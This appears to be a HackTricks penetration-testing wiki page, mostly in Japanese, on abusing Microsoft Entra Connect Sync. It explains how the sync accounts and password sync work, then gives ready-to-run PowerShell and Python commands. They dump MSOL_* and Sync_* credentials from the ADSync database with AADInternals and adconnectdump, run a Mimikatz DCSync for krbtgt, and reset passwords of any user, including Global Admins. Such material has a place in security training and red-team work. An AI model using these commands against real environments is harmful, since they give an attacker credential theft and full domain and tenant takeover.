# Az - Connect Sync

{{#include ../../../banners/hacktricks-training.md}}

## 基本情報

[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sync-whatis) Microsoft Entra Connect synchronization services (Microsoft Entra Connect Sync) は Microsoft Entra Connect の主要コンポーネントです。オンプレミス環境と Microsoft Entra ID 間でのアイデンティティデータの同期に関連するすべての操作を処理します。

sync サービスはオンプレミスの **Microsoft Entra Connect Sync** コンポーネントと Microsoft Entra ID 側の **Microsoft Entra Connect Sync service** というサービス側コンポーネントの2つで構成されます。

これを利用するには、AD 環境内のサーバに **`Microsoft Entra Connect Sync`** エージェントをインストールする必要があります。このエージェントが AD 側の同期を担当します。


<figure><img src="../../../../images/image (173).png" alt=""><figcaption></figcaption></figure>

**Connect Sync** は基本的に AD から Entra ID へのユーザー同期を行う「旧来の」Azure の方法です。新しく推奨される方法は **Entra Cloud Sync** を使用することです。

{{#ref}}
az-cloud-sync.md
{{#endref}}

### 生成されるプリンシパル

- アカウント **`MSOL_<installationID>`** がオンプレミスの AD に自動作成されます。このアカウントには **Directory Synchronization Accounts** ロールが付与されます（詳細は [documentation](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions) を参照）。これはオンプレミス AD における **replication (DCSync) permissions** を持つことを意味します。
- つまり、このアカウントを乗っ取った者はオンプレミスドメインを乗っ取ることが可能になります。
- 管理サービスアカウント **`ADSyncMSA<id>`** がオンプレミス AD に作成されますが、特別なデフォルト権限はありません。
- Entra ID 側には証明書付きでサービスプリンシパル **`ConnectSyncProvisioning_ConnectSync_<id>`** が作成されます。

## パスワードの同期

### パスワードハッシュ同期 (Password Hash Synchronization)

このコンポーネントは **AD から Entra ID へパスワードを同期** するためにも使用でき、ユーザーは AD のパスワードで Entra ID に接続できるようになります。これには、AD サーバにインストールされた Microsoft Entra Connect Sync エージェントで password hash synchronization を有効にする必要があります。

[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-phs) **Password hash synchronization** はハイブリッドアイデンティティを実現するためのサインイン方法の一つです。**Azure AD Connect** はオンプレミス Active Directory のユーザーのパスワードのハッシュのハッシュをクラウドベースの Azure AD に同期します。

基本的に、すべての **users** と **hash of the password hashes** がオンプレミスから Azure AD に同期されます。ただし、**clear-text passwords** や **元のハッシュ** は Azure AD に送信されません。

ハッシュの同期は通常 **2 分ごと** に行われます。ただし、デフォルトでは **password expiry** と **account expiry** は Azure AD に **同期されません**。そのため、オンプレ側の **パスワードが期限切れ**（変更されていない）であっても、ユーザーは古いパスワードを使って **Azure リソースにアクセスし続ける** ことができます。

オンプレのユーザーが Azure リソースにアクセスする際、**認証は Azure AD 側で行われます**。

> [!NOTE]
> デフォルトでは、Domain Admins のような既知の特権グループのユーザーで、属性 **`adminCount` が 1 のものは Entra ID と同期されません**（セキュリティ上の理由）。しかし、他のユーザーで属性がない特権グループの一部であったり、直接高い権限が割り当てられているユーザーは **同期される可能性があります**。

### Password Writeback（パスワード書き戻し）

この構成は、ユーザーが Entra ID でパスワードを変更したときに **Entra ID から AD へパスワードを同期（書き戻し）** することを可能にします。Password writeback を機能させるには、AD に自動生成された `MSOL_<id>` ユーザーに対して [docs に示されているような追加権限](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback) を付与する必要があり、そうすることで **AD 内の任意のユーザーのパスワードを変更できるようになります**。

これは、侵害された Entra ID から AD を侵害する場合に特に興味深い機能で、ほぼ任意のユーザーのパスワードを変更できるようになります。

Domain admins や一部の特権グループに属する他のユーザーは、そのグループが **`adminCount` 属性を 1 にしている場合は複製されません**。しかし、どのグループにも属していないのに AD 内で直接高い権限が割り当てられている他のユーザーはパスワードを変更される可能性があります。例えば:

- 直接高い権限が割り当てられているユーザー。
- **`DNSAdmins`** グループのユーザー。
- **`Group Policy Creator Owners`** グループのメンバーで、GPO を作成して OU に割り当てたユーザーは、自分が作成した GPO を変更できます。
- **`Cert Publishers Group`** のユーザーで、Active Directory に証明書を公開できるユーザー。
- **`adminCount` 属性が 1 になっていない** 高権限の他の任意のグループのユーザー。

## AD --> Entra ID へのピボット

### Connect Sync の列挙

ユーザーを確認する:
```bash
# Check for the users created by the Connect Sync
Install-WindowsFeature RSAT-AD-PowerShell
Import-Module ActiveDirectory
Get-ADUser -Filter "samAccountName -like 'MSOL_*'" -Properties * | select SamAccountName,Description | fl
Get-ADServiceAccount -Filter "SamAccountName -like 'ADSyncMSA*'" -Properties SamAccountName,Description | Select-Object SamAccountName,Description | fl
Get-ADUser -Filter "samAccountName -like 'Sync_*'" -Properties * | select SamAccountName,Description | fl

# Check it using raw LDAP queries without needing an external module
$searcher = New-Object System.DirectoryServices.DirectorySearcher
$searcher.Filter = "(samAccountName=MSOL_*)"
$searcher.FindAll()
$searcher.Filter = "(samAccountName=ADSyncMSA*)"
$searcher.FindAll()
$searcher.Filter = "(samAccountName=Sync_*)"
$searcher.FindAll()
```
（該当する場合）**Connect Sync configuration** を確認してください:
```bash
az rest --url "https://graph.microsoft.com/v1.0/directory/onPremisesSynchronization"
# Check if password sychronization is enabled, if password and group writeback are enabled...
```
### パスワードの取得

**`MSOL_*`** ユーザー（および作成されていれば **Sync\_\*** ユーザー）のパスワードは、**Entra ID Connect がインストールされているサーバー上の SQL Server に保存されています。** 管理者はこれら特権ユーザーのパスワードをプレーンテキストで抽出できます。\
データベースは `C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf` にあります。

あるテーブルから設定を抽出できますが、そのうち1つは暗号化されています:

`SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;`

**暗号化された構成**は **DPAPI** で暗号化されており、オンプレ AD の **`MSOL_*`** ユーザーのパスワードと AzureAD の **Sync\_\*** のパスワードを含みます。したがって、これらを侵害すると AD および AzureAD に対して privesc が可能になります。

You can find a [full overview of how these credentials are stored and decrypted in this talk](https://www.youtube.com/watch?v=JEIR5oGCwdg).

### MSOL\_\* の悪用
```bash
# Once the Azure AD connect server is compromised you can extract credentials with the AADInternals module
Install-Module -Name AADInternals -RequiredVersion 0.9.0 # Uninstall-Module AADInternals  if you have a later version
Import-Module AADInternals
Get-AADIntSyncCredentials
# Or check DumpAADSyncCreds.exe from https://github.com/Hagrid29/DumpAADSyncCreds/tree/main

# Using https://github.com/dirkjanm/adconnectdump
python .\adconnectdump.py [domain.local]/administrator:<password>@192.168.10.80
.\ADSyncQuery.exe C:\Users\eitot\Tools\adconnectdump\ADSync.mdf > out.txt
python .\adconnectdump.py [domain.local]/administrator:<password>@192.168.10.80 --existing-db --from-file out.txt

# Using the creds of MSOL_* account, you can run DCSync against the on-prem AD
runas /netonly /user:defeng.corp\MSOL_123123123123 cmd
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.local /dc:dc.domain.local"'
```
> [!WARNING]
> 以前の攻撃では、別のパスワードが侵害され、その後 `Sync_*` と呼ばれる Entra ID ユーザーに接続して Entra ID が乗っ取られました。しかし、このユーザーは現在存在しません。


### Abusing ConnectSyncProvisioning_ConnectSync\_<id>

このアプリケーションは Entra ID や Azure の管理ロールが割り当てられていない状態で作成されています。しかし、以下の API 権限を持っています:

- Microsoft Entra AD Synchronization Service
- `ADSynchronization.ReadWrite.All`
- Microsoft password reset service
- `PasswordWriteback.OffboardClient.All`
- `PasswordWriteback.RefreshClient.All`
- `PasswordWriteback.RegisterClientVersion.All`

このアプリケーションの SP は、ドキュメント化されていない API を使っていくつかの特権アクションを実行するためにまだ利用できる可能性があると言われていますが、私の知る限りまだ PoC は見つかっていません。\
いずれにせよ、それが可能かもしれないと考えるなら、この service principal としてログインするための証明書をどのように見つけて悪用するかをさらに調査する価値があります。

この [blog post](https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71) は、`Sync_*` ユーザーからこの service principal に切り替わった直後に公開され、証明書がサーバー内に保存されており、それを見つけて PoP (Proof of Possession) を生成し graph token を得ることが可能で、それにより service principal に新しい証明書を追加できる（**service principal** は自分自身に常に新しい証明書を割り当てられるため）そしてそれを使って SP として永続化できると説明しています。

これらの操作を行うために、以下のツールが公開されています: [SharpECUtils](https://github.com/hotnops/ECUtilities/tree/main/SharpECUtils).

{#ref}https://github.com/hotnops/ECUtilities/issues/1#issuecomment-3220989919{#endref} によれば、証明書を見つけるには、**`miiserver` プロセスのトークンを盗んだプロセスから**ツールを実行する必要があるとされています。

### Abusing Sync\_\* [DEPRECATED]

> [!WARNING]
> 以前は `Sync_*` というユーザーが Entra ID に作成され、非常にセンシティブな権限が割り当てられていました。これにより任意のユーザーのパスワード変更や service principal に新しい資格情報を追加するなどの特権アクションが可能でした。しかし、Jan2025 以降、このユーザーはデフォルトで作成されなくなり、代わりに Application/SP **`ConnectSyncProvisioning_ConnectSync_<id>`** が使われるようになりました。それでも一部の環境には残っている可能性があるため、確認する価値はあります。

**`Sync_*`** アカウントを侵害すると、任意のユーザー（Global Administrators を含む）の**パスワードをリセットする**ことが可能です。
```bash
Install-Module -Name AADInternals -RequiredVersion 0.9.0 # Uninstall-Module AADInternals  if you have a later version
Import-Module AADInternals

# This command, run previously, will give us alse the creds of this account
Get-AADIntSyncCredentials

# Get access token for Sync_* account
$passwd = ConvertTo-SecureString '<password>' -AsPlainText - Force
$creds = New-Object System.Management.Automation.PSCredential ("Sync_SKIURT-JAUYEH_123123123123@domain.onmicrosoft.com", $passwd)
Get-AADIntAccessTokenForAADGraph -Credentials $creds - SaveToCache

# Get global admins
Get-AADIntGlobalAdmins

# Get the ImmutableId of an on-prem user in Azure AD (this is the Unique Identifier derived from on-prem GUID)
Get-AADIntUser -UserPrincipalName onpremadmin@domain.onmicrosoft.com | select ImmutableId

# Reset the users password
Set-AADIntUserPassword -SourceAnchor "3Uyg19ej4AHDe0+3Lkc37Y9=" -Password "JustAPass12343.%" -Verbose

# Now it's possible to access Azure AD with the new password and op-prem with the old one (password changes aren't sync)
```
また、**クラウドユーザーのみのパスワードを変更する**ことも可能です（予期せずとも）
```bash
# To reset the password of cloud only user, we need their CloudAnchor that can be calculated from their cloud objectID
# The CloudAnchor is of the format USER_ObjectID.
Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,ObjectID

# Reset password
Set-AADIntUserPassword -CloudAnchor "User_19385ed9-sb37-c398-b362-12c387b36e37" -Password "JustAPass12343.%" -Verbosewers
```
このユーザーのパスワードをダンプすることも可能です。

> [!CAUTION]
> 別の選択肢として、**assign privileged permissions to a service principal** ことが考えられます。**Sync** ユーザーはそれを行う **permissions** を持っており、その後 **access that service principal** して privesc を達成できます。

### Seamless SSO

Seamless SSO を PHS と一緒に使用することが可能で、これは他の悪用に対して脆弱です。詳細は以下を確認してください：

{{#ref}}
az-seamless-sso.md
{{#endref}}

## Pivoting Entra ID --> AD

- password writeback が有効になっている場合、Entra ID と同期されている AD 内の任意のユーザーの **modify the password of any user in the AD** が可能です。
- groups writeback が有効になっている場合、AD と同期されている Entra ID の特権グループにユーザーを **add users to privileged groups** できます。

## References

- [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-phs](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-phs)
- [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/)
- [https://troopers.de/downloads/troopers19/TROOPERS19_AD_Im_in_your_cloud.pdf](https://troopers.de/downloads/troopers19/TROOPERS19_AD_Im_in_your_cloud.pdf)
- [https://www.youtube.com/watch?v=xei8lAPitX8](https://www.youtube.com/watch?v=xei8lAPitX8)
- [https://www.silverfort.com/blog/exploiting-weaknesses-in-entra-id-account-synchronization-to-compromise-the-on-prem-environment/](https://www.silverfort.com/blog/exploiting-weaknesses-in-entra-id-account-synchronization-to-compromise-the-on-prem-environment/)
- [https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71](https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71)

{{#include ../../../banners/hacktricks-training.md}}
